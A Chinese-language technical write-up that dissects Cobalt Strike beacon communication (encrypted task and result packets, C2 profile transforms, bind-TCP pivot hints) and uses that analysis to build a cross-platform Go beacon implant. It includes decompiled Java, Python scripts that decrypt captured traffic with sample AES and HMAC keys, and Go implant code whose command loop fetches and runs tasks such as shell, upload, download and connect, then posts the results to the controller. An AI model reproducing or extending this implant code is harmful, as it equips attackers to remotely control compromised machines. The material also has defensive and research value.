ByteArrayOutputStream var9 = new ByteArrayOutputStream(); var9.write(var16);//写入加密后的task数据 var9.write(var17, 0, 16);//写入hashmac byte[] var10 = var9.toByteArray(); return var10; } catch (InvalidKeyException var13) { MudgeSanity.logException("encrypt failure for: " + var1, var13, false); CommonUtils.print_error_file("resources/crypto.txt"); MudgeSanity.debugJava(); SecretKey var4 = this.getKey(var1); if (var4 != null) { CommonUtils.print_info("Key's algorithm is: '" + var4.getAlgorithm() + "' ivspec is: " + this.ivspec); } } catch (Exception var14) { MudgeSanity.logException("encrypt failure for: " + var1, var14, false); }
return new byte[0];}

然后是解析profile并添加prepend data和append data
public void transform(Profile var1, Response var2, SmartBuffer var3) { Iterator var4 = this.tsteps.iterator();
while(var4.hasNext()) { Program.Statement var6 = (Program.Statement)var4.next(); String var5; switch(var6.action) { case 1: var3.append(toBytes(var6.argument));//添加append data break; case 2: var3.prepend(toBytes(var6.argument));//添加prepend data break; case 3: var5 = Base64.encode(var3.getBytes());//base64编码数据 var3.clear(); var3.append(toBytes(var5)); break; ... } } }

1.2.2 task任务的数据格式

根据上述过程,我们可以分析出task任务数据格式如下:


注意:task_buffer中包含:4字节的cmdbuffer_lenght和实际的cmdbuffer数据

1.2.3 使用python脚本测试解包

这里我们先使用python脚本来验证,代码如下:
'''cobaltstrike任务解密'''import hmacimport binasciiimport base64import struct
import hexdumpfrom Crypto.Cipher import AES
def compare_mac(mac, mac_verif): if mac == mac_verif: return True if len(mac) != len(mac_verif): print "invalid MAC size" return False
result = 0
for x, y in zip(mac, mac_verif): result |= x ^ y
return result == 0

def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key): if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature): print("message authentication failed") return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(encrypted_data) return data

def readInt(buf): return struct.unpack('>L', buf[0:4])[0]
#接收到的任务数据encData="0k6lSpOcdzWFzgaXLVIG3KScxMndHJzDRt//TUIqQSgtJdnQHkbXaatrNiizJJrj+9e4q7iHpPnaxEFMfRFluw=="
if __name__ == "__main__": #key源自Beacon_metadata_RSA_Decrypt.py SHARED_KEY = binascii.unhexlify("d8cc0d420a3ed27ab0de5033842164b8") HMAC_KEY = binascii.unhexlify("578764fb028cfac24798926181720bd6")
enc_data = base64.b64decode(encData) print("数据总长度:{}".format(len(enc_data))) signature = enc_data[-16:] encrypted_data = enc_data[:-16]
iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec = decrypt(encrypted_data,iv_bytes,signature,SHARED_KEY,HMAC_KEY)
counter = readInt(dec) print("时间戳:{}".format(counter))
decrypted_length = readInt(dec[4:]) print("任务数据包长度:{}".format(decrypted_length))
data = dec[8:len(dec)] print("任务Data") print(hexdump.hexdump(data))
# 任务标志 Task_Sign=data[0:4] print("Task_Sign:{}".format(Task_Sign))
# 实际的任务数据长度 Task_file_len = int.from_bytes(data[4:8], byteorder='big', signed=False) print("Task_file:{}".format(Task_file_len))
with open('data.bin', 'wb') as f: f.write(data[8:Task_file_len])
print(hexdump.hexdump(data[Task_file_len:]))

我们在cs中向beacon发送任务:


然后在beacon的机器上抓包获得封包的task数据。


然后根据profile,删除prepend和append。
http-get { set uri "/api/getid"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } }
server { header "Server" "Pingan Frontend Proxy"; header "x-pingan-id" "wwvdT1M01kspYwKlmJIe0delKPUqYiRw6VYJKw9kekjO01FMl2QIStx="; header "X-Frame-Options" "SAMEORIGIN"; header "Content-Type" "image/png"; output { # mask; base64; prepend ".PNG"; print; } }}

得到加密的task数据为:
o+oyO90IlE+K4pr0d8GbVLZMbra2I4Ty90OHrqeOE/+NXDqos8Wzp2f0Dp9TIrfS

然后使用python脚本解密。


如上可以看出taskType为:0x27,taskBuffer为空。

1.2.4 使用golang完成解包

在使用Go语言开发跨平台的beacon时,在beacon返回源数据之后,就会进入循环定时获取task任务的过程,如下:
ok := packet.FirstBlood() if ok { for { time.Sleep(time.Duration(config.Sleep) * time.Millisecond) respBytes := packet.PullCommand() //获取http get response数据 if respBytes != nil { totalLen := len(respBytes) //返回的数据必须要大于prepend+append的长度 if totalLen > config.GetAppend + config.GetPrepend { //respBytes := resp.Bytes() //删除prepend数据 if config.GetPrepend !=0 { respBytes = respBytes[config.GetPrepend:] } //删除append数据 if config.GetAppend !=0 { respBytes = respBytes[:len(respBytes) - config.GetAppend] } //decode base64 decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes)) if base64Err != nil { fmt.Println("Exception: ",base64Err.Error()) break } respBytes = decryptBytes
//去除HashMac restBytes := respBytes[:len(respBytes)-crypt.HmacHashLen] //aes解密 decrypted,decryptErr := packet.DecryptPacket(restBytes) if decryptErr != nil { fmt.Println("Exception: ",decryptErr.Error()) break }
//获取task数据的长度 lenBytes := decrypted[4:8] packetLen := util.ReadInt(lenBytes) //获取task数据 decryptedBuf := bytes.NewBuffer(decrypted[8:]) for { if packetLen <= 0 { break } //解析task数据 cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen) //根据命令类型,执行相应操作 ... } } } } }


1.3 Beacon返回的task任务数据


1.3.1 解析返回的task任务数据

beacon执行完任务之后,加密返回的数据解析过程如下:

1. decompiled_src/beacon/BeaconHTTP.java,解析http post包
public byte[] serve(String var1, String var2, Properties var3, Properties var4) { try { String var5 = ""; //获取远程地址 String var6 = ServerUtils.getRemoteAddress(BeaconHTTP.this.c2profile, var3); //获取post数据 String var7 = BeaconHTTP.this.getPostedData(var4); //根据profile在post数据中获取beaconid var5 = new String(BeaconHTTP.this.c2profile.recover(".http-post.client.id", var3, var4, var7, var1)); if (var5.length() == 0) { CommonUtils.print_error("HTTP " + var2 + " to " + var1 + " from " + var6 + " has no session ID! This could be an error (or mid-engagement change) in your c2 profile"); MudgeSanity.debugRequest(".http-post.client.id", var3, var4, var7, var1, var6); } else { //根据profile在post数据中获取post data byte[] var8 = CommonUtils.toBytes(BeaconHTTP.this.c2profile.recover(".http-post.client.output", var3, var4, var7, var1)); //var5 beaconid //var8 post data if (var8.length == 0 || !BeaconHTTP.this.controller.process_beacon_data(var5, var8)) { MudgeSanity.debugRequest(".http-post.client.output", var3, var4, var7, var1, var6); } } } catch (Exception var9) { MudgeSanity.logException("beacon post handler", var9, false); }
return new byte[0];}

2. src/beacon/BeaconC2.java,检验数据包的长度并提取
public boolean process_beacon_data(String var1, byte[] var2) { try { DataInputStream var3 = new DataInputStream(new ByteArrayInputStream(var2));
while(var3.available() > 0) { //4 response长度 int var4 = var3.readInt(); //5904 //检验数据包长度 if (var4 > var3.available()) { CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " exceeds " + var3.available() + " available bytes. [Received " + var2.length + " bytes]"); return false; }
if (var4 <= 0) { CommonUtils.print_error("Beacon " + var1 + " response length " + var4 + " is invalid. [Received " + var2.length + " bytes]"); return false; }
byte[] var5 = new byte[var4]; var3.read(var5, 0, var4);
//var1 beaconid //var5 response数据 this.process_beacon_callback(var1, var5); }
var3.close(); return true; } catch (Exception var6) { MudgeSanity.logException("process_beacon_data: " + var1, var6, false); return false; } }

3. src/beacon/BeaconC2.java,解密数据包
//解密beacon返回的数据,并将解密的数据传给主处理函数//beaconid//返回的aes加密后的数据(加密数据(counter+结果数据长度+结果数据)+16字节的hashmac)public void process_beacon_callback(String var1, byte[] var2) { byte[] var3 = this.getSymmetricCrypto().decrypt(var1, var2); this.process_beacon_callback_decrypted(var1, var3);}

src/dns/BaseSecurity.java
//beacon返回的任务数据解密函数//var2 = aes加密的数据(counter+命令结果的长度+命令结果(命令类型+执行结果))+hashmacpublic byte[] decrypt(String var1, byte[] var2) { try { if (!this.isReady(var1)) { CommonUtils.print_error("decrypt: No session for '" + var1 + "'"); return new byte[0]; } else { Session var3 = this.getSession(var1); SecretKey var4 = this.getKey(var1); //获取当前beacon的aeskey SecretKey var5 = this.getHashKey(var1); //获取当前beacon对应的HashMac byte[] var6 = Arrays.copyOfRange(var2, 0, var2.length - 16); //task任务返回的加密数据 byte[] var7 = Arrays.copyOfRange(var2, var2.length - 16, var2.length); //最后16字节是task任务返回的hashmac Object var8 = null; byte[] var18; synchronized(this.mac) { this.mac.init(var5); var18 = this.mac.doFinal(var6); }
byte[] var9 = Arrays.copyOfRange(var18, 0, 16); //对比当前beacon存储的hashmac和task任务返回的hashmac if (!MessageDigest.isEqual(var7, var9)) { CommonUtils.print_error("[Session Security] Bad HMAC on " + var2.length + " byte message from Beacon " + var1); return new byte[0]; } else { Object var10 = null; byte[] var19; synchronized(this.out) { var19 = this.do_decrypt(var4, var6); //aes解密task任务返回的数据 }
DataInputStream var11 = new DataInputStream(new ByteArrayInputStream(var19)); int var12 = var11.readInt();//counter int var13 = var11.readInt();//命令结果数据的长度 if (var13 >= 0 && var13 <= var2.length) { byte[] var14 = new byte[var13]; var11.readFully(var14, 0, var13); //从var11中读取var13长度的字节,放入进var14 var3.counter = (long)var12; return var14; //返回任务结果类型+执行结果数据 } else { CommonUtils.print_error("[Session Security] Impossible message length: " + var13 + " from Beacon " + var1); return new byte[0]; } } } } catch (Exception var17) { var17.printStackTrace(); return new byte[0]; }}

4. src/beacon/BeaconC2.java,解析执行结果数据
public void process_beacon_callback_decrypted(String var1, byte[] var2) { byte var3 = -1; if (var2.length != 0) { BeaconEntry var4 = this.getCheckinListener().resolve(var1 + ""); if (var4 == null) { CommonUtils.print_error("entry is null for " + var1); }
try { DataInputStream var5 = new DataInputStream(new ByteArrayInputStream(var2)); //4 获取任务返回类型 int taskType = var5.readInt(); String var6;
//根据不同的返回结果执行相应的操作 ... ...

} catch (IOException var13) { MudgeSanity.logException("beacon callback: " + var3, var13, false); }
} }

1.3.2 task任务返回数据的格式

根据上述解析过程,我们可以获取task任务返回的数据包的格式如下:


1.3.3 使用python解析task任务返回的数据
'''Beacon任务执行结果解密'''import hmacimport binasciiimport base64import structimport hexdumpfrom Crypto.Cipher import AES
def compare_mac(mac, mac_verif): if mac == mac_verif: return True if len(mac) != len(mac_verif): print "invalid MAC size" return False
result = 0
for x, y in zip(mac, mac_verif): result |= x ^ y
return result == 0
def HexToByte( hexStr ): return bytes.fromhex(hexStr)
def decrypt(encrypted_data, iv_bytes, signature, shared_key, hmac_key): if not compare_mac(hmac.new(hmac_key, encrypted_data, digestmod="sha256").digest()[0:16], signature): print("message authentication failed") return
cypher = AES.new(shared_key, AES.MODE_CBC, iv_bytes) data = cypher.decrypt(encrypted_data) return data
#key源自Beacon_metadata_RSA_Decrypt.pySHARED_KEY = binascii.unhexlify("7f13e5bcc4c6c5c7af06dc3143b0b88e")HMAC_KEY = binascii.unhexlify("b1179c03ea6cd3d4eb5054fa75332b0c")
encrypt_data=base64.b64decode("AAAAQPmxmlOwWb3bsWCXfcZJL5HJqg3HfMKEVuoGvTGOGB1Imr8hvN3n01GWoneTc3pm0tLFrWZC7QGoGvp7JfZOa1o=")#encrypt_data = HexToByte("0000075")encrypt_data_length=encrypt_data[0:4]
encrypt_data_length=int.from_bytes(encrypt_data_length, byteorder='big', signed=False)
encrypt_data_l = encrypt_data[4:len(encrypt_data)]
data1=encrypt_data_l[0:encrypt_data_length-16]signature=encrypt_data_l[encrypt_data_length-16:encrypt_data_length]iv_bytes = bytes("abcdefghijklmnop",'utf-8')
dec=decrypt(data1,iv_bytes,signature,SHARED_KEY,HMAC_KEY)

counter = dec[0:4]counter=int.from_bytes(counter, byteorder='big', signed=False)print("counter:{}".format(counter))
dec_length = dec[4:8]dec_length=int.from_bytes(dec_length, byteorder='big', signed=False)print("任务返回长度:{}".format(dec_length))
de_data= dec[8:len(dec)]Task_type=de_data[0:4]Task_type=int.from_bytes(Task_type, byteorder='big', signed=False)print("任务输出类型:{}".format(Task_type))
print(binascii.b2a_hex(de_data[4:dec_length]))
print(hexdump.hexdump(dec))

使用上面测试task任务下发解包的过程一样,我们使用cs下发任务


在beacon所在的机器上抓包


然后根据profile,去除http post数据中的prepend和append数据
http-post { set uri "/api/postid"; client { header "Accept" "*/*"; header "Content-Type" "image/png";
id { base64; prepend "JSESSION="; header "Cookie"; } parameter "s" "1124"; parameter "d_referer" "http%3A%2F%2Fbank.pingan.com";
output { base64; prepend ".PNG"; print; } }
server { header "Server" "Pingan Frontend Proxy"; header "x-pingan-id" "9zHYZzF8IlH7emm3GNdwPHVCnAo1gOxmo73O9JlwMsuP68pMKrSy17kS="; header "X-Frame-Options" "SAMEORIGIN";
output { base64; print; } }}

得到实际的post data
AAAAMOoMW516MwI6+UQGIx5LuEleeFVzVueZ10pEkAOLNHV3HUByBodgsliVpwUoEH1VgA==?

然后使用python脚本解析返回的数据


1.3.4 使用golang封包task返回的任务数据

以执行pwd为例:

func PWD(){ var finalPacket []byte = nil pwd, err := os.Getwd() result, err := filepath.Abs(pwd) if err != nil { finalPacket = packet.MakePacket(13,[]byte(err.Error())) }else { finalPacket = packet.MakePacket(19,[]byte(result)) } packet.PushResult(finalPacket)}

1. MakePacket封装send data
func MakePacket(replyType int, b []byte) []byte { config.Counter += 1 buf := new(bytes.Buffer) counterBytes := make([]byte, 4) binary.BigEndian.PutUint32(counterBytes, uint32(config.Counter)) buf.Write(counterBytes)
if b != nil { resultLenBytes := make([]byte, 4) resultLen := len(b) + 4 binary.BigEndian.PutUint32(resultLenBytes, uint32(resultLen)) buf.Write(resultLenBytes) }
replyTypeBytes := make([]byte, 4) binary.BigEndian.PutUint32(replyTypeBytes, uint32(replyType)) buf.Write(replyTypeBytes)
buf.Write(b)
encrypted, err := crypt.AesCBCEncrypt(buf.Bytes(), config.AesKey) if err != nil { return nil } // cut the zero because Golang's AES encrypt func will padding IV(block size in this situation is 16 bytes) before the cipher encrypted = encrypted[16:]
buf.Reset()
sendLen := len(encrypted) + crypt.HmacHashLen sendLenBytes := make([]byte, 4) binary.BigEndian.PutUint32(sendLenBytes, uint32(sendLen)) buf.Write(sendLenBytes)
buf.Write(encrypted)
hmacHashBytes := crypt.HmacHash(encrypted) buf.Write(hmacHashBytes)
return buf.Bytes()}

2. PushResult封装http post
func HttpPost(url string, data []byte) error { httpRequest := req.New() postString := base64.StdEncoding.EncodeToString(data)
for k,v := range config.Postheader{ if strings.Contains(v,"%ENCBEACONID%"){ config.Postheader[k] = strings.Replace(v, "%ENCBEACONID%", base64.StdEncoding.EncodeToString([]byte(strconv.Itoa(config.ClientID))), -1 ) } }
if len(config.PostPrepend) !=0 { postString = config.PostPrepend + postString } if len(config.PostAppend) !=0 { postString = postString + config.PostAppend } resp, err := httpRequest.Post(url, postString, config.Postheader) if err != nil { fmt.Printf("[-] Post http data error: %s\n", err.Error()) return err }
defer resp.Response().Body.Close() if resp.Response().StatusCode != http.StatusOK { fmt.Printf("[-] Post http response status code: %d\n", resp.Response().StatusCode) return err } return nil}

0x02 跨平台http/https Beacon


根据上面我们对cs的http/https beacon的整个通信过程的研究,完全能自己编写一个跨平台的beacon,这里我们选择了golang作为开发语言,虽然编译之后很大,但是跨平台的性很好。


但是我们想将Beacon的回连地址、加密的公钥以及profile的配置都编译到golang程序中,这样的话每次生成跨平台Beacon的时候都需要修改源代码然后再编译,所以我们在golang源码外层再进行了一次python封装,它的作用如下:


1. 解析profile,并将相应的值填入golang源码中。

2. 根据.cobaltstrike.beacon_keys计算公钥,并填入golang源代码中。

3. 实现golang项目的交叉编译。具体的流程图设计如下:


实现的部分代码如下:

func main() {    //初始化,包括:生成随机的beaconid、生成随机的global key(aes+hashmac)、创建get和post的url以及对应的header    config.InitC2Profile()    //组装和封装源数据,并循环向ts发送,直到成功    ok := packet.FirstBlood()    if ok {        for {            time.Sleep(time.Duration(config.Sleep) * time.Millisecond)//sleep时间            //获取命令数据            respBytes := packet.PullCommand()            if respBytes != nil {                totalLen := len(respBytes)                if totalLen > config.GetAppend + config.GetPrepend {                    //删除prepend                    if config.GetPrepend !=0 {                        respBytes = respBytes[config.GetPrepend:]                    }                    //删除append                    if config.GetAppend !=0 {                        respBytes = respBytes[:len(respBytes) - config.GetAppend]                    }                    //decode base64                    decryptBytes, base64Err := base64.StdEncoding.DecodeString(string(respBytes))                    if base64Err != nil {                        fmt.Println("Exception: ",base64Err.Error())                        continue                    }                    respBytes = decryptBytes
//去除HashMac restBytes := respBytes[:len(respBytes)-crypt.HmacHashLen] //aes解密 decrypted,decryptErr := packet.DecryptPacket(restBytes) if decryptErr != nil { fmt.Println("Exception: ",decryptErr.Error()) continue }
//读取命令数据 lenBytes := decrypted[4:8] packetLen := util.ReadInt(lenBytes) decryptedBuf := bytes.NewBuffer(decrypted[8:]) for { if packetLen <= 0 { break } //解析命令数据 cmdType, cmdBuf, parseErr := packet.ParsePacket(decryptedBuf, &packetLen) if parseErr == nil{ if cmdBuf != nil { var finalPacket []byte = nil //执行对应的命令 switch cmdType { case config.CMD_TYPE_SHELL: go command.Shell(cmdBuf)
case config.CMD_TYPE_UPLOAD_START: //10 go command.Upload(cmdBuf)
case config.CMD_TYPE_UPLOAD_LOOP: //67 go command.Upload(cmdBuf)
case config.CMD_TYPE_DOWNLOAD: //11 go command.Download(cmdBuf)
case config.CMD_TYPE_CD: //5 go command.CD(cmdBuf)
case config.CMD_TYPE_SLEEP: //4 sleep := util.ReadInt(cmdBuf[:4]) config.Sleep = int(sleep)
case config.CMD_TYPE_PWD: //39 go command.PWD()
case config.CMD_TYPE_EXIT: go command.Exit()
case config.CMD_TYPE_PORTFWD: finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command")) packet.PushResult(finalPacket)
case config.CMD_TYPE_PORTFWD_STOP: finalPacket = packet.MakePacket(13,[]byte("Please use shell rportfwd command")) packet.PushResult(finalPacket)
case config.CMD_TYPE_CONNECT: go command.Connect(cmdBuf)
case config.CMD_TYPE_CONNECT_LIVE: go command.BeaconLive(cmdBuf)
case config.CMD_TYPE_UNLINK: go command.Unlink(cmdBuf)
case config.CMD_TYPE_FILE_Browser: go command.FileBrowser(cmdBuf)
default: finalPacket = packet.MakePacket(13, []byte("Command not supported")) packet.PushResult(finalPacket) } } } } } } } }}


0x03 Bind tcp Beacon通信过程


了解了cs回连的http/https beacon的回连以及控制过程,我们再来看内网横向的Bind tcp beacon。


3.1 解析bindtcp源数据


任务返回类型为10的时候,表示返回的是connect的结果,解析代码在beacon/BeaconC2.java中。


这里调用的process_beacon_metadata函数解析源数据,和http/https beacon解析源数据的过程一样。所以我们可以知道bindtcp beacon 上线包的格式如下:

if (taskType == 10) { //beacon返回connect结果    childBeaconID = var5.readInt(); //子beacon id    var18 = var5.readInt(); //hint信息    rsaEncryptData = CommonUtils.bString(CommonUtils.readAll(var5)); //子beacon返回的rsa加密的源数据    BeaconEntry var9 = this.getCheckinListener().resolve(var1 + "");    //null    //父beacon的内网ip    //子beacon返回的rsa加密的源数据    //父beaconid    //hint    var10 = this.process_beacon_metadata((ScListener)null, var9.getInternal() + " ??", CommonUtils.toBytes(rsaEncryptData), var1, var18);
//成功连接到横向bind beacon if (var10 != null) { this.pipes.register(var1 + "", childBeaconID + ""); if (var10.getInternal() == null) { this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID))); this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID))); } else { this.getCheckinListener().output(BeaconOutput.Output(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getInternal())); this.getResources().archive(BeaconOutput.Activity(var1, "established link to child " + CommonUtils.session(childBeaconID) + ": " + var10.getComputer())); }
this.getCheckinListener().output(BeaconOutput.Output(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getInternal())); this.getResources().archive(BeaconOutput.Activity(var10.getId(), "established link to parent " + CommonUtils.session(var1) + ": " + var9.getComputer())); }}



3.1.1 验证解析数据


这里我们采用抓包一个http beacon和一个bindtcp beacon连接上线的方式,进行抓包验证。


http beacon:172.16.247.2,bindtcp beacon:172.16.247.10



1. 获取bindtcp beacon的源数据



其中id为10进制的beaconid:1919872472,对应的16进制为:726EEDD8。


2. 我们在http beacon上抓取172.16.247.10到172.16.247.2的数据包,可以成功抓到bindtcp beacon 的上线源数据包,如下:


d8ed6e72 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557


长度为132,即4字节的小端的beaconid+128字节的rsa加密的源数据。但是我们上面分析的bindtcp beacon中间还有一个hint值呢?


2.抓取172.16.247.2到ts的connect任务结果包


我们解密这个任务包获得子beacon对应的上线源数据包,然后查看二者差异。



3. 使用http/https beacon的aes和hashmac解密这个数据(记得去除prepend和append)



726eedd8 0010115c 16260b3d109719765a05bb700c998d6ca7578735042f3de458170fc22ebc681450cd06c82abb35fa4d11bef0b4d19d7d1c2018b1b6fccf9b35f47b751cbebfa903bb9f28de526fcf8d26b2f6def6952a0aab74970bfee5934cce36352be4111850856dee7e55df4ab04ab5e5bc8ed2991d3a7e477ad276b31a0373fbebe2e557


这里我们通过对比两个包,发现父beacon的connect会对子beacon返回的数据做一些操作,包括:

  • 小端beacon id变为大端beacon id

  • 在beacon id和rsa加密源数据之间插入4字节的hint值


4. 使用上面解析源数据的python脚本,解析上线的源数据



3.1.2 golang模拟connect命令封包


我们使用golang模拟这个过程:

//绑定子beaconid和对应tcp socket的关系//fmt.Println("[+] Connect recv: ",fmt.Sprintf("%x",data))clientIDBytes := data[:4]childBID := util.BytesToUint32(clientIDBytes)//fmt.Println("[+] Child beacon id: ",fmt.Sprintf("%x",childBID))config.Connects.Store(childBID, config.ChildBeacon{Server: server, ChildConn: childConn})
//插入hint值hint := 65536^uint32(port)hintBytes := make([]byte,4)binary.BigEndian.PutUint32(hintBytes,uint32(hint));
//小端beaconid变大端beaconidAddBytes := make([]byte, 4)binary.BigEndian.PutUint32(AddBytes,childBID)
endData := util.BytesCombine(AddBytes,hintBytes,data[4:])//fmt.Println("[+] Send up: ",fmt.Sprintf("%x",endData))


3.1.3 关于hint


这里我们父beacon为什么需要向收到的子beacon的数据中插入这个hint,它又是如何生成的呢?


在common/PivotHint.java中,我们可以看到对hint这个值的应用:

public class PivotHint {    public static final long HINT_REVERSE = 65536L;    public static final long HINT_FORWARD = 0L;    public static final long HINT_PROTO_PIPE = 0L;    public static final long HINT_PROTO_TCP = 1048576L;    protected int hint;
public PivotHint(int var1) { this.hint = var1; }
public PivotHint(String var1) { this.hint = CommonUtils.toNumber(var1, 0); }
public int getPort() { return this.hint & '\uffff'; //hint值的后4位表示一个端口 }
public boolean isReverse() { return ((long)this.hint & 65536L) == 65536L;//hint值的第4位的最后一个bit用来判断回连和转发 }
public boolean isForward() { return !this.isReverse(); }
public boolean isTCP() { return ((long)this.hint & 1048576L) == 1048576L;//hint值的第3位的最后一个bit用来判断tcp还是smb }
public String getProtocol() { return this.isTCP() ? "TCP" : "SMB"; }
public String toString() { return this.isForward() ? this.getPort() + ", " + this.getProtocol() + " (FWD)" : this.getPort() + ", " + this.getProtocol() + " (RVR)"; }}


我们来解析上面实验的hint值:0010115c



hint的第3位的最后一个bit为1,表示它是一个tcp的数据包。



最后4位对应的port值为:4444,为子beacon对应的监听端口。


3.2 解析bindtcp task返回数据


通过http/https beacon的分析我们知道process_beacon_data函数是处理task返回数据的函数,其中我 们在这个函数中还找到它对自己的递归调用,如下:

if (taskType == 12) { //子beacon返回信息    childBeaconID = var5.readInt();//beaconid    childBeaconData = CommonUtils.readAll(var5); //task返回数据(len+aes加密后的数据)    if (childBeaconData.length > 0) {        this.process_beacon_data(childBeaconID + "", childBeaconData);    }
this.getCheckinListener().update(childBeaconID + "", System.currentTimeMillis(), (String)null, false);}


由上我们bindtcp beacon返回的任务数据的格式为:



3.2.1 验证解析数据


1. 在172.16.247.10上执行cs命令



2. 在172.16.247.2上抓172.16.247.10到172.16.247.2的包



如图,我们可以看到172.16.247.10发送给172.16.247.2的一次task任务的数据包是3个。第一个包的数据:



表示任务返回数据的长度,这里是0x0714,10进制为:1812


第二个包和第三个包是任务返回数据:


1460+352 = 1812,刚好是第一个包的数据。实际任务返回数据就是将两个包连接:

000007101c430e118c822ec0aac3857c0d08b9d64d34905d76ea850a85f5ee2496cc0e2c4675fb2e 2c18562cc0422034f28221e0a45d6ecb3cb55e347ca9743cf4766f58ddfea7a82edc0e41ae5e5382 5d9552a4acd009c2210d6db1baf999421b69c1e69986213cf2fbbb4b0202a8d59ccfe07814415e07 66ec8b33e2839f1284ee956a5ad2c24eb07d9c7d82737ea5dcc0bdbd0222100e82a09bf3ad46ad96 d200cda2b017d779070022a21bc09c9970d9af538a68bd88f08391a8d4027a9bbddcfe9f451f643e a3e302549792137a1e9a7c7ded5303210fe0271710e4d5a857662f0ce250d34e4e329b83c7d5d558 0ed33dd73cc39811d26e24e4757744dd1efcdf3da4a23008a5067ee60179496cd62b5977ac487af4 fac686714605e00e66e3db292dd9a46246e765c8cb0037d39fa4f0bdb0de97bd3bad42f10e2e4b6e ce0cf07d56c15a51b592c3c0d57e33a215ebfe2cf43999f01aab0e965059eb54fc872d1f2696c992 6446ad09fb1db8b3eae8a9d1a6ca700033eae1c1d79a21beb38276ceb669b8a3a63015861d43acbe e918c321f60ed2e659350db48f13998609cbd66970ae15dda6c245e122484353907462ab50723064 4550f0b8cbec1727cd7340e85c037c8dd02a51c09df80fabc31502841c08648da74095388b6aefa3 8407777048d9c3fafa81da8493795d32efe911439085c0462e835848a170f619d4d12a335735c0fc 348df9ef65a3c6ec27b7b374446656dc15802fe22e5668314fe19147ace8508fff999fb9d1b2cf42 0dbf75936989dc7beb19daddb8279e567f207550c379db2ec243aa9447f5ce13a97b9d3b21259714 2c3e5135b0e0a875b328f75b062e7ea16e80727853c35c4a51d2322fb5d9f7c0bc5bdd1c13d14e43 f59828ac7a27ae597822de379b75d424b3809c5cff021a452685d3735016b82e6c1946da53fdc445 5ac92b0eb33f1b6ce8eca73a4c029b81674006c317bde4e44e0f233be4d6bb57453b56e94af95d73 408267949b5a6ce91746435b4bfd4eeb8c7fc7451421eb3a8b2e38b07f13a6863988af60b9e6d8f6 8ffafa0ae3e44b20ac52b5bb2d5ecbbbaf34e823dbc5ff1f5d7e93f631a065af90e5e6d4ff135d74 31153c0e62f5947b0a163e50b718e28a09304b49f0d41afdf34cf1e2c9093f28797306fe47210b7b afd377afb76f9b39c24327347af88788fb753f8161f514e47a46c2cf4b4da00547f9b892b124553a 7fa5b39a99bd75e1d77f5d07d9cddfbe722e99e5ceb33cc773ffadb51cdaf0bb21d998d4a1b318f8 70ab2dd5e704bf24aa09902b2844624256b3ed5c3af6b054c44dc9d356bea01211b11b500cae765c 1b1ff47ea6cf5652ba042d778ab6941c0afbf03f7609e9ea2235f2cfd3858f2da48282affe375876 bea69c465eddf3682b19c843c4243a132480ea6f1c46d906ac26987290bfb5b35e2f42d64be46c79 fd7b2bd22ab1a62a973a4ece0d55a5fc562700dc8f6a139cf56d3bba68a1a66c25fd5b8746639d08 d3b99cfec117db3a3c7e4ea5b1aa86547f6ddae2e6ec0bc14be6abfdf2dc5862d45a2b315b26a108 fbcbb36080fe7ad1b854d81d8532602596f83aae6b328e20ea87e1d4f0647b7c76004f07fc8135fa 9b11482f3b7a85a90c9f6e91e08f086661e9140427ce546075f9e226980b8bb2465c45bbaf9a7976 2dc9de96a33e8cc1512dbfd2bbbfed7418fd9d679948092047466b60bf76d84b6c1bc2a4ef79ec42 82ad5448848bf8a4bb1df9f7bd5688ec89804cfceb450f6696964906d69e62c6310dbd8878b4064a 68bede64051f41dd427d784cd596cb36b921561fe75e6f8c43920481dd756914af1cafa79ee34bf8 448a5ab89e3a4de3665045267c4e48da07f677efe2e8a0b036d09524ecb91e7c4720bfac87099c85 1e1d23fa4fc446721e0905209982d9a2ddc40a5233e2d04317d9ceba6a09779d9e944fb5ca1ec237 9a68d1ddcdba7e31c40877cec68a5acdde9fafb57e84e6640f404acabd6e39f779c69e321718631d af8cc5dd76d79cf858deac780e8ac5637bac95ee84c6137f667a8807fe52add083203cc00cb9c112 bb839738df241e244ffe600ad3eff58f04eefdaae71faacca20e1d12f9f18e2e1250201f62918968 d615cff69db01d57007d6267d44e193e3189a761f396bbe487f941b26ac1836d85c4c2a02d094367 16011a6e4a0201b34a816a5469449049966a425ce3226d2fa90669a6305a0c5dbb0cc85688365bbf 8c88a911b378ae080810e239c43e52e09f294e7e445f5c4178bb809c887631c3c86faa8e4a8ed435 db34b2c7df9ee05b6a54c648c60d9d464f7476e16a578d0a54040b4c5abc4f23846716da3fd90736 ee8d5015220ca48c66c8bb0e73f7b0f525161e82fec27789cace323577ffc5f266128e628a0c5155 955f1786576fd1668c6fb83c0999d285306a5ed6d2e8d69df636cf917e220ba7881a69f5a313abeb 0125e00f49f59a1c5bd23443d1c4824bdc486af863b67e936a876d86ad2062141c1b2c30c3d5444a c92f4b8c9949bfdbb7ce1fe0


3. 根据上线源数据获取aeskey和hashmac



子beacon发送给父beacon的上线源数据包为:

5e85aa3106755b9156b8f3b04fa0da72dc3740465cc0d2f45c5dd3d3d6a7496f397892c5dc5b11d7 602419647d177b5563a952f10c395c385832fedeebd119a89a3b77c32d62bf19c44f75836ab0a20e 200eaec1aace752a0690d9284b5da6402e3034f09fbc568b684e793d9983cf8601cd309bdcaa273e 6fadd95081508147f95fd914


按照我们上面的分析,还需要删除前面4字节的反序beaconid才是真正的上线源数据:

